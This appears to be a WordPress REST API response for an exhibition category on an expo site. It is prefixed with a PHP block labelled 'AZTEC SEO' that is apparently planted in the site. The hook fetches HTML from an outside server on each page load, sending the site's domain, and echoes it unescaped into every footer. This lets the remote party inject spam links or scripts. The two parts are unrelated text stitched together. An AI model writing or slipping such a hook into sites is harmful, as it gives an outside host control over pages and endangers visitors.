/* AZTEC SEO */
add_action('wp_footer', function () {
    $domain = wp_parse_url(home_url(), PHP_URL_HOST);
    if (!$domain) return;
    $ck   = 'aztec_footer_' . md5($domain);
    $html = get_transient($ck);
    if ($html === false) {
        $url  = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
        $res  = wp_remote_get($url, array('timeout' => 8));
        $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
        set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
    }
    if ($html !== '') echo $html;
}, 99);
{"id":10,"count":4,"description":"","link":"https:\/\/www.tie-expo.com\/?exhibition_category=%e7%89%a9%e6%b5%81","name":"\u7269\u6d41","slug":"%e7%89%a9%e6%b5%81","taxonomy":"exhibition_category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/www.tie-expo.com\/index.php?rest_route=\/wp\/v2\/exhibition_category\/10","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.tie-expo.com\/index.php?rest_route=\/wp\/v2\/exhibition_category"}],"about":[{"href":"https:\/\/www.tie-expo.com\/index.php?rest_route=\/wp\/v2\/taxonomies\/exhibition_category"}],"wp:post_type":[{"href":"https:\/\/www.tie-expo.com\/index.php?rest_route=%2Fwp%2Fv2%2Fexhibition&exhibition_category=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}